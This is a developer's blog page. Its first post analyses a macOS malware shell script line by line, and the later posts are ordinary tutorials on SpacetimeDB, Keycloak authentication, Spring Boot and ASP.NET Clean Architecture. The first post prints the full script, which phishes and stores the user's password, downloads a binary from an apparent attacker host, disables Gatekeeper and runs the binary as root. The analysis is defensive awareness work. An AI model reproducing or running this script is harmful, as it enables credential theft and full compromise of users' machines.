Sugavanesh Murugesan aka: sugan0tech

Anatomy of a macOS Attack: Deconstructing a Malicious Shell Script

2025-07-20T00:00:00+00:00

Introduction

As DevOps and backend engineers, we live in the terminal. We use curl, run installation scripts, and automate tasks with a level of trust in our tools. But this familiarity can lead to complacency. I recently came across a malicious script that serves as a chilling reminder of how easily that trust can be exploited to achieve total system compromise.

This script isn’t just a proof-of-concept; it’s a well-crafted piece of malware designed to trick a technical user into handing over their password and giving an attacker full root access. Let’s break it down line-by-line.

The Full Malicious Script

Here is the complete script captured from the attack. At first glance, some parts might look like a standard, albeit poorly written, installer. But the devil is in the details.

#!/bin/bash

BASE_URL="[https://wireshield.pro](https://wireshield.pro)"
mkdir -p ~/.autologin

echo "Please enter your password to continue installation"
CORRECT_PASS=""
while true; do
    echo -n "Password:"
    read -s USER_PASSWORD
    echo

    dscl /Local/Default -authonly ${SUDO_USER:-${USER}} $USER_PASSWORD > /dev/null 2>&1

    if [[ $? -eq 0 ]]; then
        echo "$USER_PASSWORD" > ~/.autologin/pass.txt
        CORRECT_PASS="$USER_PASSWORD"
        break
    else
        echo "Sorry, try again."
    fi
done

echo "$CORRECT_PASS" | sudo -S echo ""

arch=$(uname -m)

if [[ $arch == "x86_64" ]]; then
    URL="$BASE_URL/x64"
elif [[ $arch == "arm64" ]]; then
    URL="$BASE_URL/arm64"
else
    echo "Unknown architecture: $arch"
    exit 1
fi

FILE=$(basename "$URL")
echo "Downloading $FILE from $URL..."
curl -O "$URL"

if [ $? -ne 0 ]; then
    echo "Error downloading the file."
    exit 1
fi

sudo spctl --master-disable
echo "Running the application..."
chmod +x "$FILE"
sudo open "$FILE"
sudo spctl --master-enable

Step-by-Step Breakdown

Let’s dissect what this script is actually doing.

1. The Setup: Creating a Hiding Spot

BASE_URL="[https://wireshield.pro](https://wireshield.pro)"
mkdir -p ~/.autologin

The script starts by defining its command and control (C2) server. Then, it immediately creates a hidden directory (.autologin) in the user’s home folder. Using a . prefix hides it from a standard ls command, making it a perfect place to stash stolen data.

2. The Lure: The Password Prompt

while true; do
    echo -n "Password:"
    read -s USER_PASSWORD
    ...
done

This is pure social engineering. The script mimics a legitimate installer asking for administrative rights. The read -s command ensures the password isn’t echoed to the terminal, adding to the illusion of a secure process.

3. The Trick: Local Password Validation

dscl /Local/Default -authonly ${SUDO_USER:-${USER}} $USER_PASSWORD > /dev/null 2>&1
if [[ $? -eq 0 ]]; then
    ...

This is the most clever part of the script. It uses dscl, the native macOS Directory Service command-line utility, to check if the password is correct. The -authonly flag does this without actually logging in or changing users. Because it’s a legitimate system tool, it doesn’t raise suspicion. The script then checks the exit code ($?). A 0 means success—the user entered the correct password.

4. The Theft: Capturing the Credentials

echo "$USER_PASSWORD" > ~/.autologin/pass.txt
break

This is the moment the attack succeeds. Once the password is validated, the script writes it in plain text into the pass.txt file inside the hidden directory it created earlier. It now has the user’s password.

5. The Payload: Escalation and Execution

# Determine architecture (x86_64 or arm64) and download the binary
URL="$BASE_URL/x64" # or /arm64
curl -O "$URL"

# Disable Gatekeeper to run unverified apps
sudo spctl --master-disable

# Make the binary executable and run it with root privileges
chmod +x "$FILE"
sudo open "$FILE"

# Re-enable Gatekeeper to cover its tracks
sudo spctl --master-enable

With the password captured, the script proceeds to:

Determine the Mac’s architecture (uname -m).
Download a malicious binary (x64 or arm64) from the C2 server.
Disable Gatekeeper (spctl --master-disable), macOS’s core security feature that prevents unverified apps from running.
Run the malicious binary with sudo, giving the attacker full root control.
Finally, it re-enables Gatekeeper to hide the fact that system security settings were ever changed.

Key Takeaways for Developers

This script is a masterclass in exploiting trust and using a system’s own tools against it.

Never blindly trust an installer script. The convenience of curl | sh is not worth the risk of total system compromise.
Download and read first. Always download a script to a local file and read every line before executing it. If you had read this one, the echo "$USER_PASSWORD" > ... line would have been a massive red flag.
Question every password prompt. A script asking for your main user password should be treated with extreme suspicion.
Monitor your system. Tools like Little Snitch can alert you to unexpected outgoing network connections, which could have flagged the download of the x64 binary.

References & Further Reading

This analysis is based on the incident bravely shared by a security professional. The original video detailing the attack can be found here: I got hacked.

Conclusion

This attack highlights a critical vulnerability that isn’t in the code, but in human behavior. As engineers, our comfort with the command line is an asset, but it can be turned against us. Stay skeptical, stay vigilant, and always read the code.

SpacetimeDB - A New Paradigm for Backend Development

2025-04-17T00:00:00+00:00

Introduction

SpacetimeDB rethinks how we build backend systems by making the database the execution engine itself. Designed with real-time applications and games in mind, it eliminates the network boundary between backend and storage.

What It Brings New to the Table

Module-based performance boost: Native module support written in languages like C# and compiled to WASM gives ultra-low latency.
Better SDK structure: Clean abstraction and binding generation simplify integration.
Distributed sync: Built-in peer-to-peer synchronization of data across distributed nodes, unlike traditional client-server models.

Purpose of SpacetimeDB

SpacetimeDB aims to be a drop-in backend replacement for game developers and real-time apps. It’s also excellent for rapid prototyping of scalable, high-performance systems.

Getting Started with Development

Basics & Initialization

# Initialize your module in C#
spacetime init spacetime-modules --lang csharp
spacetime build

# Publish your module
spacetime publish --project-path server unichat

Setting up Client (React + TS)

npm create vite@latest unichat-client -- --template react-ts
cd unichat-client
npm install
npm run dev

Add dependencies

npm install react-router-dom@latest
npm install @clockworklabs/spacetimedb-sdk
npm install react-oidc-context oidc-client-ts
npm install @auth0/auth0-react

Generate TS Bindings

spacetime generate --lang typescript --out-dir src/module_bindings --project-path ../spacetime-modules

Sample C# Reducer Example

using Spacetime;

[SpacetimeModule]
public partial class ChatModule : SpacetimeModule
{
    [Reducer]
    public static void SendMessage(
        Context ctx,
        string message,
        string roomId)
    {
        var chatRoom = ChatRoom.FirstOrDefault(r => r.Id == roomId);
        if (chatRoom == null)
        {
            throw new SpacetimeException("Room not found");
        }

        var newMessage = new Message
        {
            Sender = ctx.Identity.Id,
            Content = message,
            Timestamp = SystemTime.Now()
        };

        chatRoom.Messages.Add(newMessage);
    }
}

Modules vs SDK Performance

Modules (WASM compiled logic) perform significantly better than pure SDK usage. For performance-critical systems, modules are the way to go.

Fullstack Auth Flow with SpacetimeDB and Auth0

UCAC (User Centric Access Control)

Introduces fine-grained, user-scoped control for row-level operations.

RBAC for Admins

Global-level control using Role Based Access Control and policies.

Internal Architecture

Includes a WASM execution layer that runs reducer logic inside the DB engine itself, providing secure, high-perf execution.

WASM Layer Benefits

Fast, safe execution
Language-agnostic module support
Sandboxed logic tightly coupled with DB state

Comparison with Traditional Backends

Removes need for external app + DB communication
Lower latency
Native replication and sync
Less glue code and deployment complexity

DevX (Developer Experience)

SpacetimeDB’s DX rivals modern backend frameworks, but with built-in real-time sync and persistence.

Performance and Architecture Thoughts

While performance is key, it’s more about removing bottlenecks like network I/O and reducing SPOFs (Single Points of Failure).

Things I Miss or Wish For

Scaling is DB-style, not traditional backend-style
Could benefit from an engine model like TigerBeetleDB for multi-node WASM exec

Struggles Encountered

Auth0 Integration Issue

While building Unichat, a real-time chat application using SpacetimeDB, I integrated Auth0 for authentication. Initially, SpacetimeDB couldn’t verify Auth0’s issued JWTs due to a failure in handling the provider’s well-known JWKS URL for public key discovery.

This caused the server to reject valid Auth0 tokens. As a workaround, I patched the token_validation.rs file locally. Fortunately, this issue was resolved officially in SpacetimeDB’s alpha build as of April 17, 2025.

Here’s a brief of how my app handles authentication:

Backend Reducers (C#)

[Table(Name = "user", Public = true)]
public partial class User {
  [PrimaryKey] public Identity id;
  public string? name;
}

[Table(Name = "message", Public = true)]
public partial class Message {
  [PrimaryKey] public ulong id;
  public Identity sender;
  public Identity receiver;
  public string content = "";
  public Timestamp timestamp;
}

[Reducer]
public static void RegisterUser(ReducerContext ctx, string name) {
  var user = ctx.Db.user.id.Find(ctx.Sender);
  if (user is null) {
    ctx.Db.user.Insert(new User { id = ctx.Sender, name = name });
  }
}

[Reducer]
public static void SendMessage(ReducerContext ctx, Identity to, string content) {
  ctx.Db.message.Insert(new Message {
    id = ctx.Db.message.Count + 1,
    sender = ctx.Sender,
    receiver = to,
    content = content,
    timestamp = ctx.Timestamp
  });
}

[Reducer]
public static void SetName(ReducerContext ctx, string name) {
  name = ValidateName(name);
  var user = ctx.Db.user.id.Find(ctx.Sender);
  if (user is not null) {
    user.name = name;
    ctx.Db.user.id.Update(user);
  }
}

private static string ValidateName(string name) {
  if (string.IsNullOrEmpty(name)) {
    throw new Exception("Names must not be empty");
  }
  return name;
}

Frontend Connection (React + TS)

const { getAccessTokenSilently } = useAuth0();
const token = await getAccessTokenSilently({
  authorizationParams: {
    audience: 'https://your-auth-audience-url'
  }
});

await spacetimeService.connectWithToken(token);
await spacetimeService.registerUser("DefaultName");

Now that the validation bug has been fixed upstream, integration with Auth0 works seamlessly out of the box.

Notes on Future Adoption and Stability

While SpacetimeDB is extremely promising, developers should be aware that the project is evolving rapidly and may introduce breaking API changes in upcoming releases. Especially as it moves toward production readiness, internal structures, SDK interfaces, and even WASM runtime behaviors may shift.

Despite its initial positioning for game development, SpacetimeDB has strong potential in niche, latency-sensitive backend use cases beyond gaming — such as collaborative editing, IoT coordination, real-time dashboards, or multiplayer educational platforms. Its unified DB+logic architecture can simplify traditionally complex system designs in these domains.

References & Further Reading

Official documentation: SpacetimeDB Docs
Blog: Introducing SpacetimeDB 1.0

Conclusion

SpacetimeDB represents a fundamental shift—a backend engine and database merged into one, removing traditional server‑DB boundaries. For backend engineers, this means writing and deploying business logic inside the database itself via WASM reducers, unlocking ultra‑low latency and greatly simplified operations.

While the platform is young and subject to change, any team building real‑time, stateful, distributed applications should absolutely explore it. With commercial adoption (e.g., BitCraft) and growing community support, SpacetimeDB is poised to reshape backend design—and I’m excited to see where it goes next.

Modern Authentication - Deep Dive into Token-Based Auth with Keycloak

2025-02-28T00:00:00+00:00

A comprehensive exploration of modern authentication systems using access and refresh tokens, with a focus on implementing robust auth flows with Keycloak.

Authentication is the cornerstone of application security, yet it remains one of the most complex and commonly misunderstood aspects of modern systems. In this post, I’ll dive deep into token-based authentication, explore the access/refresh token pattern, and demonstrate how Keycloak simplifies these implementations.

The Evolution of Authentication

Authentication has evolved significantly over time:

“Authentication mechanisms reflect the evolving balance between security needs and user experience requirements.”

Password-based: Simple but vulnerable to numerous attack vectors
Session-based: Server-side sessions with client cookies
Token-based: Stateless authentication using cryptographically signed tokens
Modern token-based: Combining short-lived access tokens with refresh tokens

Understanding the JWT Token Architecture

Modern token-based authentication typically uses JSON Web Tokens (JWTs) in two distinct roles:

Access Tokens

Access tokens are short-lived credentials that:

Contain encoded user identity and permissions (claims)
Are cryptographically signed to prevent tampering
Remain valid for a short period (typically 5-15 minutes)
Are presented with each API request

An example decoded JWT access token:

{
  "alg": "RS256",
  "typ": "JWT",
  "kid": "sGu0-6lMk..."
}

Payload:

{
  "exp": 1709136789,
  "iat": 1709136489,
  "jti": "aa5f8315-4e4c-4ae6-9ae1-fc98b9979129",
  "iss": "https://auth.example.com/realms/demo",
  "aud": "account",
  "sub": "8fb4e5a0-3c4d-40ce-b1d5-3f89cacf9d24",
  "typ": "Bearer",
  "azp": "frontend-client",
  "session_state": "e70b1c18-c5ea-47b2-9e11-c6109d413515",
  "acr": "1",
  "allowed-origins": ["https://app.example.com"],
  "realm_access": {
    "roles": ["user", "admin"]
  },
  "resource_access": {
    "account": {
      "roles": ["manage-account"]
    }
  },
  "scope": "profile email",
  "sid": "e70b1c18-c5ea-47b2-9e11-c6109d413515",
  "name": "Jane Doe",
  "preferred_username": "jane.doe",
  "given_name": "Jane",
  "family_name": "Doe",
  "email": "[email protected]"
}

Refresh Tokens

Refresh tokens are longer-lived credentials that:

Allow obtaining new access tokens without re-authentication
Are typically valid for days or weeks
Must be securely stored client-side
Are invalidated if compromised

The Authentication Flow

A complete token-based authentication flow works as follows:

Initial Authentication:
- User provides credentials
- Server validates credentials and issues access + refresh tokens
- Tokens are returned to client
Accessing Protected Resources:
- Client includes access token with each request
- Server validates token signature and claims
- Server authorizes the request based on token claims
Token Renewal:
- When access token expires, client uses refresh token to obtain new tokens
- If refresh token is valid, new access and refresh tokens are issued
- If refresh token is expired or invalid, user must re-authenticate

Security Considerations

Implementing token-based authentication requires addressing several security concerns:

Token Storage

Access tokens: Can be stored in memory or session storage
Refresh tokens: Should be stored in secure HTTP-only cookies or secure storage
Never store tokens in localStorage due to XSS vulnerabilities

Token Validation

Backend services must:

Verify token signature using the correct public key
Validate the token’s expiration time
Check issuer and audience claims
Verify that the token hasn’t been revoked (if using token blacklisting)

@Component
public class JwtTokenValidator {
    private final RSAPublicKey publicKey;
    
    public JwtTokenValidator(RSAPublicKey publicKey) {
        this.publicKey = publicKey;
    }
    
    public Jws<Claims> validateToken(String token) {
        try {
            return Jwts.parserBuilder()
                .setSigningKey(publicKey)
                .build()
                .parseClaimsJws(token);
        } catch (JwtException e) {
            throw new InvalidTokenException("Invalid JWT token: " + e.getMessage());
        }
    }
}

Token Revocation

Unlike stateless JWT validation, token revocation requires:

Maintaining a blacklist of revoked tokens
Checking against this blacklist during validation
Implementing refresh token rotation for better security

Introducing Keycloak

Keycloak is an open-source identity and access management solution that implements all the patterns discussed above and provides:

Complete OAuth2/OIDC implementation: Full support for modern authentication protocols
Centralized auth management: Single place to manage users, roles, and permissions
Customizable login flows: Support for MFA, social login, and custom authenticators
Token customization: Ability to add custom claims and control token lifespans
Session management: Tracking and managing user sessions across applications

Setting Up Keycloak

Docker Deployment

The quickest way to get started with Keycloak is using Docker:

docker run -p 8080:8080 -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:22.0.0 start-dev

Basic Configuration

Once Keycloak is running:

Create a new realm (e.g., “app-realm”)
Create client(s) for your application(s)
Configure client settings:
- Valid redirect URIs
- Web origins (CORS)
- Access type (confidential for server-side apps)
- Scope and token settings

Implementing Authentication with Keycloak and Spring Boot

Backend Integration

For a Spring Boot application, integration is straightforward using Spring Security OAuth2:

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeRequests(authorize -> authorize
                .antMatchers("/api/public/**").permitAll()
                .antMatchers("/api/admin/**").hasRole("ADMIN")
                .antMatchers("/api/**").authenticated()
            )
            .oauth2ResourceServer(oauth2 -> oauth2
                .jwt(jwt -> jwt
                    .jwtAuthenticationConverter(jwtAuthenticationConverter())
                )
            );
        
        return http.build();
    }
    
    private JwtAuthenticationConverter jwtAuthenticationConverter() {
        JwtGrantedAuthoritiesConverter jwtGrantedAuthoritiesConverter = new JwtGrantedAuthoritiesConverter();
        jwtGrantedAuthoritiesConverter.setAuthoritiesClaimName("realm_access.roles");
        jwtGrantedAuthoritiesConverter.setAuthorityPrefix("ROLE_");
        
        JwtAuthenticationConverter jwtAuthenticationConverter = new JwtAuthenticationConverter();
        jwtAuthenticationConverter.setJwtGrantedAuthoritiesConverter(jwtGrantedAuthoritiesConverter);
        
        return jwtAuthenticationConverter;
    }
}

Configure application properties:

spring:
  security:
    oauth2:
      resourceserver:
        jwt:
          issuer-uri: http://localhost:8080/realms/app-realm
          jwk-set-uri: http://localhost:8080/realms/app-realm/protocol/openid-connect/certs

Frontend Integration

On the frontend, you can use libraries like keycloak-js:

import Keycloak from 'keycloak-js';

const keycloak = new Keycloak({
    url: 'http://localhost:8080',
    realm: 'app-realm',
    clientId: 'frontend-client'
});

keycloak.init({ 
    onLoad: 'check-sso',
    silentCheckSsoRedirectUri: window.location.origin + '/silent-check-sso.html',
    pkceMethod: 'S256'
}).then(authenticated => {
    if (authenticated) {
        initApp(keycloak);
    } else {
        doLogin();
    }
}).catch(error => {
    console.error('Keycloak init failed:', error);
});

// Automatic token refresh
keycloak.onTokenExpired = () => {
    console.log('Token expired, refreshing...');
    keycloak.updateToken(30).catch(() => {
        console.log('Failed to refresh token, logging out...');
        keycloak.logout();
    });
};

// Making authenticated requests
function fetchProtectedResource() {
    fetch('https://api.example.com/protected', {
        headers: {
            'Authorization': 'Bearer ' + keycloak.token
        }
    })
    .then(response => response.json())
    .then(data => console.log(data))
    .catch(error => console.error('Error:', error));
}

Advanced Keycloak Features

Session Management

Keycloak provides extensive session management capabilities:

View and manage active sessions in the admin console
Set session timeouts at realm and client levels
Implement single sign-out across applications
Track login history and detect suspicious activity

Event Logging and Auditing

For security monitoring, Keycloak offers comprehensive event logging:

Authentication events (logins, logouts, failures)
Administrative events (configuration changes)
Custom event listeners for integration with external systems

User Federation

Keycloak can integrate with existing user directories:

LDAP/Active Directory integration
Custom user storage providers
User attribute synchronization

Real-World Considerations

Multiple Client Types

In a typical architecture, you might have:

Public clients: Single-page applications or mobile apps
Confidential clients: Backend services with client secrets
Service accounts: Machine-to-machine communication

Each requires different security configurations in Keycloak.

Microservices Authorization

For microservices architectures:

Use fine-grained role-based access control
Implement custom authorization policies
Consider using Keycloak Authorization Services for complex scenarios

Performance Optimization

For high-traffic applications:

Implement token caching
Consider using offline tokens for mobile applications
Use token introspection judiciously (it adds network overhead)

Conclusion

Token-based authentication with access and refresh tokens provides a robust security model for modern applications. Keycloak simplifies the implementation of these patterns while offering extensive customization options.

By understanding the underlying concepts and security considerations, you can implement authentication systems that are both secure and user-friendly.

In future posts, I’ll explore advanced Keycloak features such as custom authenticators, token exchange, and integrating with external identity providers.

What authentication challenges are you facing in your projects? Share in the comments below.

Spring Boot - From Zero to Production

2025-02-03T00:00:00+00:00

A comprehensive guide to building production-ready applications with Spring Boot, focusing on best practices and real-world challenges.

Spring Boot has revolutionized Java application development by simplifying the bootstrap and development process. In this post, I’ll cover the journey from initial setup to production deployment, highlighting key practices I’ve implemented across multiple projects.

Why Spring Boot?

Spring Boot eliminates much of the boilerplate configuration required in traditional Spring applications:

Opinionated defaults: Works out of the box with sensible configurations
Standalone: Run as a self-contained application with embedded servers
Production-ready: Built-in metrics, health checks, and externalized configuration
No code generation: No XML configuration required

Setting Up a Spring Boot Project

The quickest way to bootstrap a Spring Boot application is using Spring Initializr:

curl https://start.spring.io/starter.tgz \
  -d dependencies=web,data-jpa,postgresql,actuator,validation \
  -d type=gradle-project \
  -d bootVersion=3.2.0 \
  -d groupId=com.example \
  -d artifactId=demo-service \
  -d packageName=com.example.demo \
  -d javaVersion=17 | tar -xzvf -

Core Application Components

Application Configuration

Spring Boot’s externalized configuration is powerful for managing different environments:

@Configuration
@ConfigurationProperties(prefix = "app")
public class ApplicationProperties {
    private String apiKey;
    private int cacheTimeToLiveSeconds;
    private Retry retry = new Retry();
    
    // Getters and setters

    public static class Retry {
        private int maxAttempts = 3;
        private long backoffMillis = 1000;
        
        // Getters and setters
    }
}

In application.yml:

app:
  api-key: ${API_KEY:default-key}
  cache-time-to-live-seconds: 300
  retry:
    max-attempts: 5
    backoff-millis: 2000

spring:
  profiles:
    active: ${SPRING_PROFILES_ACTIVE:dev}
  datasource:
    url: jdbc:postgresql://${DB_HOST:localhost}:${DB_PORT:5432}/${DB_NAME:app}
    username: ${DB_USER:postgres}
    password: ${DB_PASSWORD:postgres}
  jpa:
    hibernate:
      ddl-auto: validate
    properties:
      hibernate:
        jdbc:
          batch_size: 50
  cache:
    type: caffeine
    caffeine:
      spec: maximumSize=500,expireAfterAccess=600s

management:
  endpoints:
    web:
      exposure:
        include: health,info,prometheus
  endpoint:
    health:
      show-details: when_authorized

Entity and Repository Layer

For domain entities and repositories, I prefer a clean, focused approach:

@Entity
@Table(name = "products")
public class Product {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    
    @Column(nullable = false)
    private String name;
    
    @Column(nullable = false)
    private BigDecimal price;
    
    @Enumerated(EnumType.STRING)
    @Column(nullable = false)
    private ProductCategory category;
    
    @Column(length = 2000)
    private String description;
    
    @CreatedDate
    private Instant createdAt;
    
    @LastModifiedDate
    private Instant updatedAt;
    
    // Getters, setters, equals, hashCode, toString
}

public interface ProductRepository extends JpaRepository<Product, Long> {
    List<Product> findByCategoryOrderByName(ProductCategory category);
    
    @Query("SELECT p FROM Product p WHERE p.price BETWEEN :min AND :max")
    Page<Product> findByPriceRange(
        @Param("min") BigDecimal min, 
        @Param("max") BigDecimal max, 
        Pageable pageable);
}

Service Layer

The service layer implements business logic and transaction boundaries:

@Service
@RequiredArgsConstructor
@Transactional(readOnly = true)
public class ProductService {
    private final ProductRepository productRepository;
    private final ProductMapper productMapper;
    private final ApplicationProperties appProperties;
    
    @Cacheable("products")
    public List<ProductDTO> getProductsByCategory(ProductCategory category) {
        return productRepository.findByCategoryOrderByName(category).stream()
            .map(productMapper::toDto)
            .collect(Collectors.toList());
    }
    
    @Transactional
    public ProductDTO createProduct(CreateProductRequest request) {
        Product product = productMapper.toEntity(request);
        Product saved = productRepository.save(product);
        return productMapper.toDto(saved);
    }
    
    @Transactional
    @CacheEvict(value = "products", allEntries = true)
    public void updateProductPrice(Long id, BigDecimal newPrice) {
        Product product = productRepository.findById(id)
            .orElseThrow(() -> new ResourceNotFoundException("Product not found"));
            
        product.setPrice(newPrice);
        productRepository.save(product);
    }
}

Controller Layer

Controllers should be thin, delegating business logic to services:

@RestController
@RequestMapping("/api/products")
@RequiredArgsConstructor
public class ProductController {
    private final ProductService productService;
    
    @GetMapping
    public ResponseEntity<Page<ProductDTO>> getProducts(
            @RequestParam(required = false) ProductCategory category,
            @RequestParam(defaultValue = "0") int page,
            @RequestParam(defaultValue = "20") int size) {
        
        Page<ProductDTO> products;
        if (category != null) {
            products = productService.getProductsByCategory(category, PageRequest.of(page, size));
        } else {
            products = productService.getAllProducts(PageRequest.of(page, size));
        }
        
        return ResponseEntity.ok(products);
    }
    
    @PostMapping
    public ResponseEntity<ProductDTO> createProduct(
            @Valid @RequestBody CreateProductRequest request) {
        ProductDTO created = productService.createProduct(request);
        URI location = ServletUriComponentsBuilder
            .fromCurrentRequest()
            .path("/{id}")
            .buildAndExpand(created.getId())
            .toUri();
            
        return ResponseEntity.created(location).body(created);
    }
    
    @PutMapping("/{id}/price")
    public ResponseEntity<Void> updatePrice(
            @PathVariable Long id,
            @Valid @RequestBody UpdatePriceRequest request) {
        productService.updateProductPrice(id, request.getPrice());
        return ResponseEntity.noContent().build();
    }
}

Production-Ready Features

Exception Handling

A global exception handler provides consistent API responses:

@RestControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(ResourceNotFoundException.class)
    public ResponseEntity<ApiError> handleNotFound(ResourceNotFoundException ex) {
        ApiError error = new ApiError(
            HttpStatus.NOT_FOUND.value(),
            ex.getMessage(),
            LocalDateTime.now()
        );
        return new ResponseEntity<>(error, HttpStatus.NOT_FOUND);
    }
    
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public ResponseEntity<ApiError> handleValidationExceptions(
            MethodArgumentNotValidException ex) {
        Map<String, String> errors = new HashMap<>();
        ex.getBindingResult().getFieldErrors().forEach(error -> 
            errors.put(error.getField(), error.getDefaultMessage()));
            
        ApiError apiError = new ApiError(
            HttpStatus.BAD_REQUEST.value(),
            "Validation error",
            errors,
            LocalDateTime.now()
        );
        
        return new ResponseEntity<>(apiError, HttpStatus.BAD_REQUEST);
    }
    
    @ExceptionHandler(Exception.class)
    public ResponseEntity<ApiError> handleAllExceptions(Exception ex) {
        ApiError error = new ApiError(
            HttpStatus.INTERNAL_SERVER_ERROR.value(),
            "An unexpected error occurred",
            LocalDateTime.now()
        );
        return new ResponseEntity<>(error, HttpStatus.INTERNAL_SERVER_ERROR);
    }
}

Request Logging

For debugging and audit purposes, request logging is essential:

@Component
@Order(Ordered.HIGHEST_PRECEDENCE)
public class RequestLoggingFilter implements Filter {
    private static final Logger log = LoggerFactory.getLogger(RequestLoggingFilter.class);
    
    @Override
    public void doFilter(
            ServletRequest request, 
            ServletResponse response, 
            FilterChain chain) throws IOException, ServletException {
        
        HttpServletRequest httpRequest = (HttpServletRequest) request;
        HttpServletResponse httpResponse = (HttpServletResponse) response;
        
        String requestId = UUID.randomUUID().toString();
        MDC.put("requestId", requestId);
        
        log.info("Request: {} {} [{}]", 
            httpRequest.getMethod(), 
            httpRequest.getRequestURI(),
            httpRequest.getRemoteAddr());
            
        long startTime = System.currentTimeMillis();
        try {
            chain.doFilter(request, response);
        } finally {
            long duration = System.currentTimeMillis() - startTime;
            log.info("Response: {} {} ({}ms)", 
                httpResponse.getStatus(),
                httpRequest.getRequestURI(),
                duration);
            MDC.remove("requestId");
        }
    }
}

Actuator Endpoints

Spring Boot Actuator provides production-ready features:

@Component
public class CustomHealthIndicator implements HealthIndicator {
    private final ExternalServiceClient client;
    
    public CustomHealthIndicator(ExternalServiceClient client) {
        this.client = client;
    }
    
    @Override
    public Health health() {
        try {
            boolean isAvailable = client.isServiceAvailable();
            if (isAvailable) {
                return Health.up()
                    .withDetail("externalService", "available")
                    .build();
            } else {
                return Health.down()
                    .withDetail("externalService", "unavailable")
                    .build();
            }
        } catch (Exception e) {
            return Health.down(e).build();
        }
    }
}

Database Migration

Flyway or Liquibase manage database schema changes:

-- V1__create_products_table.sql
CREATE TABLE products (
    id SERIAL PRIMARY KEY,
    name VARCHAR(255) NOT NULL,
    price DECIMAL(19, 2) NOT NULL,
    category VARCHAR(50) NOT NULL,
    description VARCHAR(2000),
    created_at TIMESTAMP NOT NULL DEFAULT NOW(),
    updated_at TIMESTAMP
);

CREATE INDEX idx_products_category ON products(category);

Testing Strategies

Unit Testing

@ExtendWith(MockitoExtension.class)
class ProductServiceTest {
    @Mock
    private ProductRepository productRepository;
    
    @Mock
    private ProductMapper productMapper;
    
    @InjectMocks
    private ProductService productService;
    
    @Test
    void createProduct_ShouldSaveAndReturnMappedDTO() {
        // Arrange
        CreateProductRequest request = new CreateProductRequest(
            "Test Product", 
            BigDecimal.valueOf(99.99), 
            ProductCategory.ELECTRONICS, 
            "Test description"
        );
        
        Product product = new Product();
        product.setName("Test Product");
        product.setPrice(BigDecimal.valueOf(99.99));
        
        Product savedProduct = new Product();
        savedProduct.setId(1L);
        savedProduct.setName("Test Product");
        savedProduct.setPrice(BigDecimal.valueOf(99.99));
        
        ProductDTO expectedDto = new ProductDTO(
            1L, 
            "Test Product", 
            BigDecimal.valueOf(99.99), 
            ProductCategory.ELECTRONICS, 
            "Test description"
        );
        
        when(productMapper.toEntity(request)).thenReturn(product);
        when(productRepository.save(product)).thenReturn(savedProduct);
        when(productMapper.toDto(savedProduct)).thenReturn(expectedDto);
        
        // Act
        ProductDTO result = productService.createProduct(request);
        
        // Assert
        assertEquals(expectedDto, result);
        verify(productRepository).save(product);
        verify(productMapper).toEntity(request);
        verify(productMapper).toDto(savedProduct);
    }
}

Integration Testing

@SpringBootTest
@AutoConfigureMockMvc
@TestPropertySource(locations = "classpath:application-test.yml")
@ActiveProfiles("test")
class ProductControllerIntegrationTest {
    @Autowired
    private MockMvc mockMvc;
    
    @Autowired
    private ObjectMapper objectMapper;
    
    @MockBean
    private ProductService productService;
    
    @Test
    void createProduct_ShouldReturnCreatedProduct() throws Exception {
        // Arrange
        CreateProductRequest request = new CreateProductRequest(
            "New Product", 
            BigDecimal.valueOf(29.99), 
            ProductCategory.BOOKS, 
            "New book"
        );
        
        ProductDTO createdDto = new ProductDTO(
            1L, 
            "New Product", 
            BigDecimal.valueOf(29.99), 
            ProductCategory.BOOKS, 
            "New book"
        );
        
        when(productService.createProduct(any())).thenReturn(createdDto);
        
        // Act & Assert
        mockMvc.perform(post("/api/products")
                .contentType(MediaType.APPLICATION_JSON)
                .content(objectMapper.writeValueAsString(request)))
            .andExpect(status().isCreated())
            .andExpect(jsonPath("$.id").value(1))
            .andExpect(jsonPath("$.name").value("New Product"))
            .andExpect(jsonPath("$.price").value(29.99));
    }
}

Containerization and Deployment

Dockerfile

FROM eclipse-temurin:17-jre-alpine as builder
WORKDIR /app
COPY build/libs/*.jar app.jar
RUN java -Djarmode=layertools -jar app.jar extract

FROM eclipse-temurin:17-jre-alpine
WORKDIR /app
ENV JAVA_OPTS="-Xms512m -Xmx1024m"

COPY --from=builder /app/dependencies/ ./
COPY --from=builder /app/spring-boot-loader/ ./
COPY --from=builder /app/snapshot-dependencies/ ./
COPY --from=builder /app/application/ ./

HEALTHCHECK --interval=30s --timeout=3s \
  CMD wget -q --spider http://localhost:8080/actuator/health || exit 1

EXPOSE 8080
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS org.springframework.boot.loader.JarLauncher"]

Application Performance Monitoring

For production monitoring, Spring Boot works seamlessly with APM tools like Datadog, New Relic, or Prometheus/Grafana.

Lessons Learned

After working with Spring Boot across various projects, here are key observations:

Minimize boilerplate: Use Lombok, Spring Data projections, and MapStruct for cleaner code
Embrace reactive programming: Consider WebFlux for high-throughput, low-latency requirements
Don’t overuse annotations: They can hide complexity and make debugging harder
Design for failure: Circuit breakers, retry policies, and graceful degradation are essential
Profile and optimize early: Use Spring Boot’s metrics to identify bottlenecks

Conclusion

Spring Boot provides an excellent foundation for building modern Java applications. By following the practices outlined in this post, you can create robust, maintainable, and production-ready services.

In future posts, I’ll dive deeper into specific Spring Boot topics such as security, reactive programming, and event-driven architectures.

What Spring Boot features or best practices have you found most valuable? Share your experiences in the comments.

Building a Clean Architecture API with ASP.NET Core

2025-01-18T00:00:00+00:00

A detailed walkthrough of implementing Clean Architecture principles in an ASP.NET Core API, based on my experiences building the LifeFlow project.

When designing modern backend systems, architectural choices significantly impact maintainability, testability, and scalability. In this post, I’ll share how I implemented a Clean Architecture approach in the LifeFlow project using ASP.NET Core.

Why Clean Architecture for ASP.NET Core?

Clean Architecture, popularized by Robert C. Martin, emphasizes separation of concerns through well-defined layers:

The overriding rule that makes this architecture work is The Dependency Rule: source code dependencies can only point inwards.

This approach brings several benefits to ASP.NET Core applications:

Framework independence: Core business logic doesn’t depend on ASP.NET or any external framework
Testability: Business rules can be tested without UI, database, or any external element
UI independence: The UI can change without changing the rest of the system
